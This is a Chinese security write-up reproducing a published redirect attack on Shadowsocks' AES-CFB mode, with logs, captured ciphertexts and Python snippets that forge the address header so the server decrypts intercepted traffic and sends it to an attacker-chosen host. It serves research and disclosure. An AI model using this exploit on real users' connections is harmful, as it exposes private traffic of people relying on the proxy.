作者:LeadroyaL
原文鏈接:https://www.leadroyal.cn/p=1036&from=groupmessage&isappinstalled=0
2020年2月12日,Zhiniang Peng 在 github 上公開了對于 shadowsocks 的攻擊理論,在閱讀完作者的文檔后獲益匪淺,但 github 中主要是理論,代碼和場景寫的描述的非常混亂,本文親自演示一遍整個流程,把整個攻擊演示的更清楚。
感謝 chenyuan 的幫助和交流。
本文的全部代碼位于:https://github.com/LeadroyaL/ss-redirect-vuln-exp
一、背景
情景假設:
-
client 的網絡是不安全的,攻擊者可以監聽 client 所有的流量;
-
server 的網絡是安全的
-
server 長期存活。
漏洞危害(個人觀點):
-
對于加密后的 HTTP Response,攻擊者可以解密所有的返回包,嚴謹一點,是 Response 的絕大部分數據
-
對于某個加密后的 HTTP Request,如果攻擊者猜中了域名,攻擊者就可以解密該 Request,嚴謹一點,是Request的絕大部分數據
-
對于某個加密后的 HTTPS Request,如果攻擊者猜中了域名,攻擊者就可以確認該 Request 確實屬于該域名
本文以 python 版的 ss 和 AES-CFB-256為例,講述一下上面這三種攻擊方式。
二、整體邏輯
瀏覽器使用 socks5代理,將數據發給 sslocal服務,sslocal 將數據加密后傳遞給 ssserver,ssserver 解密數據,訪問指定資源,返回加密的數據,sslocal 再解密返回給瀏覽器。
整個過程比較容易理解,接下來通過閱讀代碼的方式講一下整個流程,著重看數據拼接和加密部分。
sslocal發包流程:
tcpRelay.py 中,類TCPRelayHandler 構造方法里,主動創建 Encryptor結構體。
Encryptor 結構體初始化時,使用 config 里的“PASS”密鑰,作為種子,生成真正的 key,將來長期使用,隨機產生 rand_iv,在當前數據包中使用。
使用命令 curl --socks5 127.0.0.1:1080 http://a.baidu.com,使用socks5 代理,嘗試訪問 a.baidu.com。
tcpRelay.py中, _handle_stage_addr 收到socks5 的協議頭,稍加解析和驗證,將該數據使用AES.update(socks5Header)
tcpRelay.py 中,_handle_stage_connecting 收到 HTTP 請求的數據,并將改數據使用 AES.update(httpRequest)
最終組合好的明文數據是:
data = sock5Header + httpRequest
最終發給服務器最后的數據是:
rand_iv + AES-cfb(key, rand_iv, data)
ssserver收包過程省略、ssserver 發包過程省略
sslocal收包
tcpRelay.py 中, _on_remote_read 收到了 ssserver 返回的數據,前 16 字節是server 生成的 rand_iv2,后面的數據是密文,解密后就是返回包的內容。
相當于:
httpResponse = AES-cfb(key, rand_iv2, recv_data)
攻擊者只知道 rand_iv、rand_iv2,不知道key,因此無法直接解密整個request 和 response。
三、CFB加密模式:
以 AES-256-CFB 為例,它是一種流式加密而不是分組加密,不會直接將明文進行AES 操作,而是 XOR(明文,AES(密文))來計算,因此可以粗略地理解為一個序列無限長的 xor 操作。
CFB 的特性,長話短說,放三個結論:
-
CFB 的加密和解密函數是一模一樣的,因為最后一步是 xor,也就是說連續加密 2 遍就是本身
-
密文的某個 byte 被篡改后,解密出來的該 byte 是錯的,第 N+1 個block也是錯的,其他數據都是正確的
-
在給定的 key 和 iv 下,cfb 的每個 block 退化為普通的 xor,已知某段明文和和對應的密文時,可以算出使用的 xor_key,從而可以對該段明文密文進行偽造。【!!!特別注意這條,之后會用到!!!!】
下面的代碼(為了便于觀看就是0x00 了)可以說明,加密和解密是一樣的,最終結果確實是明文和 AES(IV)的異或。請一定要添加 segment_size=128,因為 pycrypto (pycryptodome)的 CFB 默認是1 字節的
In [13]: cipher = AES.new(key, AES.MODE_CFB, iv, segment_size=128); print(cipher.encrypt(b'\x00'*5).hex())
c4ebba6062
In [14]: cipher = AES.new(key, AES.MODE_CFB, iv, segment_size=128); print(cipher.decrypt(b'\x00'*5).hex())
c4ebba6062
In [15]: cipher = AES.new(key, AES.MODE_CFB, iv, segment_size=128); print(cipher.encrypt(bytes.fromhex('c4ebba6062')).hex())
0000000000
In [16]: cipher = AES.new(key, AES.MODE_ECB); print(cipher.encrypt(iv).hex())
c4ebba606297fc5984dc75e2e5f70430
四、攻擊案例一:解密 HTTP返回包
還是熟悉的例子, sslocal-1080 , ssserver-1081, curl --socks5 127.0.0.1:1080 http://a.baidu.com添加適當的日志,在 ss-local 中有如下的日志,與抓包結果相符。(pcap 可以在 git 倉庫里找到)
(嫌麻煩的可以只看標題,跳過這堆數據)
初始化 key 和 iv
| 2020-02-15 18:20:40 INFO | AES-key = 7a95bf926a0333f57705aeac07a362a2daea958c0a0cf8e1e2843b62b127f809 |
|---|---|
| 2020-02-15 18:20:49 INFO | encrypt set_iv = 597623d791c86c0e69da60d78de8c6e8 |
| 2020-02-15 18:20:49 INFO | connecting 123.125.114.38:80 from 127.0.0.1:63126 |
IV 拼接 AES.update(socks5Headers)
在使用 IPV4 的情況下,socks5Headers遵循該協議:[0x01 + IP + port]
例如 017b7d72260050 表示 123.125.114.38:80
| 2020-02-15 18:20:49 INFO | encrypt input 017b7d72260050 |
|---|---|
| 2020-02-15 18:20:49 INFO | encrypt ret =597623d791c86c0e69da60d78de8c6e85e0639f44d3611 |
AES.update(httpRequest)
| 2020-02-15 18:20:49 INFO | encrypt input474554202f20485454502f312e310d0a486f73743a20612e62616964752e636f6d0d0a557365722d4167656e743a206375726c2f372e36342e310d0a4163636570743a202a2f2a0d0a0d0a |
|---|---|
| 2020-02-15 18:20:49 INFO | encrypt ret =0692d35fd73dd7a37d3eee8245d8232d2728bd97c45a6638c1fb4230c6b402290c9684a41da8a101b108494d7752aa1636899215d5b081ac7ff2cf3bf113c8005d172b4d9fcb50ab0985e7 |
發送給 ssserver
| 2020-02-15 18:20:49 INFO | send to remote |
|---|---|
| 597623d791c86c0e69da60d78de8c6e85e0639f44d36110692d35fd73dd7a37d3eee8245d8232d2728bd97c45a6638c1fb4230c6b402290c9684a41da8a101b108494d7752aa1636899215d5b081ac7ff2cf3bf113c8005d172b4d9fcb50ab0985e7 |
收到來自 ssserver
| 2020-02-15 18:20:49 INFO | recv from remote |
|---|---|
| 83fd8540bb239f54661c57193a9557a538d494faef23a83936fbe00cb700d79c9e9fd2b19dafc46d3a7784f6b4800c8fcb060e2c0b0d9f54848b549739f6b77ea5f76882879b8b929f45aebb2020dafc65809efab745c6ca2ee4ee4be19f8aa9b860b3045b566bb78d2fbe34ea64c49d6eed64055a2fe8354b659138597900ee0c0614af13439ccb3e309845b60e190784c3519abcc4ddb87040c43a0331a9b1e51bf271c292621a5685e0f06bd398670eb77927e2cd90dcb2cc167724c944e4ceaddd28718b80e72555431dbd18b4cb0fb5237d7d3a57d03872e10dc694081f0437b3014178e367baac9c0cb746799d8bd7be5a17 |
前16 byte的數據是iv,后面是余下的數據
| 2020-02-15 18:20:49 INFO | decrypt set_iv = 83fd8540bb239f54661c57193a9557a5 |
|---|---|
| 2020-02-15 18:20:49 INFO | decrypt input = 38d494faef23a83936fbe00cb700d79c9e9fd2b19dafc46d3a7784f6b4800c8fcb060e2c0b0d9f54848b549739f6b77ea5f76882879b8b929f45aebb2020dafc65809efab745c6ca2ee4ee4be19f8aa9b860b3045b566bb78d2fbe34ea64c49d6eed64055a2fe8354b659138597900ee0c0614af13439ccb3e309845b60e190784c3519abcc4ddb87040c43a0331a9b1e51bf271c292621a5685e0f06bd398670eb77927e2cd90dcb2cc167724c944e4ceaddd28718b80e72555431dbd18b4cb0fb5237d7d3a57d03872e10dc694081f0437b3014178e367baac9c0cb746799d8bd7be5a17 |
解密結果是真正的 httpResponse
| 2020-02-15 18:20:49 INFO | decrypt ret = |
|---|---|
| 485454502f312e3120323030204f4b0d0a446174653a205361742c2031352046656220323032302031303a32303a343920474d540d0a5365727665723a2045434f4d2041706163686520312e302e31332e300d0a4c6173742d4d6f6469666965643a205468752c203232204f637420323031352030373a30383a303020474d540d0a455461673a2022356639343665612d332d3536323838623530220d0a4163636570742d52616e6765733a2062797465730d0a436f6e74656e742d4c656e6774683a20330d0a436f6e74656e742d547970653a20746578742f68746d6c0d0a0d0a4f4b0a |
正片開始
我們關注一下這個返回包:
因為去掉頭部的16字節iv,第一個 block 的密文數據是: 38d494faef23a83936fbe00cb700d79c ;
而第一個 block 的明文數據可以被猜到,是8 字節的 HTTP/1.1 ;
因此第一個 block 的 xor_key[:8]是 bytes.fromhex(’38d494faef23a83936fbe00cb700d79c’) ^ b”HTTP/1.1″,結果是 7080c0aac0128608
驗算一下:AES(iv) = 7080c0aac012860816c9d03c974f9c91 ,完全一致。
注意上面的【結論3】,此時我們擁有能力偽造密文的前 8byte,從而讓服務器解密出我們想要的前 8 byte。
在我們的案例中,ssserver 收到 sslocal的包時,前 7 byte 是[0x01 + IP + port],表示需要被訪問的地址。
因此我們有能力控制這7個 byte,ssserver 將解密后的數據,發給我們指定的IPport 。
思路有了,具體操作如下:取返回包,切掉前 16byte,將前7byte 改寫為 xor(xor_key,[0x01 + IP + port]),后面的內容不變。
服務器解密時,可以正確拿到 IP、port,并且正確解密[7:16]的其他數據,錯誤解密[16:32],正確解密[32:]的數據,并且將[7:]解密后發送給我們指定的IP: port,直接監聽即可完成攻擊。
代碼如下:
predict_data=b"HTTP/1.1"
predict_xor_key=bytes([(predict_data[i]^recv_data[i])foriinrange(len(predict_data))])
target_ip="127.0.0.1"
target_port=1083
fake_header=b'\x01'+socket.inet_pton(socket.AF_INET,target_ip)+bytes(struct.pack('>H',target_port))
fake_header=bytes([(fake_header[i]^predict_xor_key[i])foriinrange(len(fake_header))])
fake_data=recv_iv+fake_header+recv_data[len(fake_header):]print(fake_data.hex())
效果圖如下:

五、攻擊案例二:解密指定 domain 的 httpRequest包
request 與 response 有很大的不同,response 中最前面的字節肯定是 HTTP,而 request 最前面的字節是sock5 協議。
在IP 表示的情況下,是[0x01 + IP + port],理論上,攻擊者有1/int32 的概率猜對 IP,之后模仿之前的方式,將 IP 改為指定的 IP,但這樣代價非常高,每個包都要猜一次 int32,是不可行的。
在domain 表示的情況下,最前面是[0x03 + domain_len + domain + port],而猜 domain 的難度可能比猜 IP要低,例如我只想知道這個包是不是發給 a.baidu.com 的。就假設發包的明文是 a.baidu.com,如果猜中了,就可以將它篡改為 a.baidu.abc。
這里演示一下對給定的 httpRequest 包,假設 domain 是 a.baidu.com 的攻擊方式。
curl 默認是本地 DNS 解析,所以會出現0x1+IP+port 的現象,大多數情況下,瀏覽器會直接把域名發給sslocal,是0x03+domain+port 的方式。因此需要用瀏覽器觸發一下,然后打日志抓包,這里就不贅述了。
發包的明文是: 03 + 0B + "a.baidu.com" + port(80)
發包的密文是: 67c9c0858b1beecc3c0b07cb310849b0
發包的 xor_key 是: 64c2a1abe97a87a8492564a45c0819
因此可以構造: 03 + 0B + "a.baidu.abc" + port(1083)
ssserver 收到后就會把后面的數據發給 a.baidu.abc:1083,為了方便,我把 a.baidu.abc 指向127.0.0.1了,發現確實可以收到數據。
代碼如下
predict_data = b"\x03\x0ba.baidu.com\x00\x50" # a.baidu.com:80
predict_xor_key = bytes([(predict_data[i] ^ send_data[i]) for i in range(len(predict_data))])
target_domain = b"a.baidu.abc"
target_port = 1083target_domain = b"\x03\x0b" + target_domain + bytes(struct.pack('>H', target_port))
fake_header = bytes([(target_domain[i] ^ predict_xor_key[i]) for i in range(len(target_domain))])
fake_data = send_iv + fake_header + send_data[len(fake_header):]
print(fake_data.hex()) |
效果圖如下:

六、攻擊案例三:確認 https 流量是否屬于某個域名
例如訪問

顯然明文開頭的那部分是可以猜的,猜中后同樣可以使用案例二的方式,把流量打給指定的服務器。但缺點是沒有具體內容,只知道是個
看吧,雖然是 https,但也不是非常的安全。。。
七、要點總結
-
ssserver 可以理解為黑盒解密機器,解密后的前幾個 byte 決定發往的地址,后幾個 byte 就是明文數據。
-
因 CFB 的特性,在第一個 block 退化為了普通的 xor,已知明文的情況下,導致密文可以被偽造。
-
攻擊方式的局限性:server 一定要在線,因為只有 server 才能解密數據,存在被發現的可能。
本文的全部代碼位于:https://github.com/LeadroyaL/ss-redirect-vuln-exp,歡迎交流。
本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/1122/
暫無評論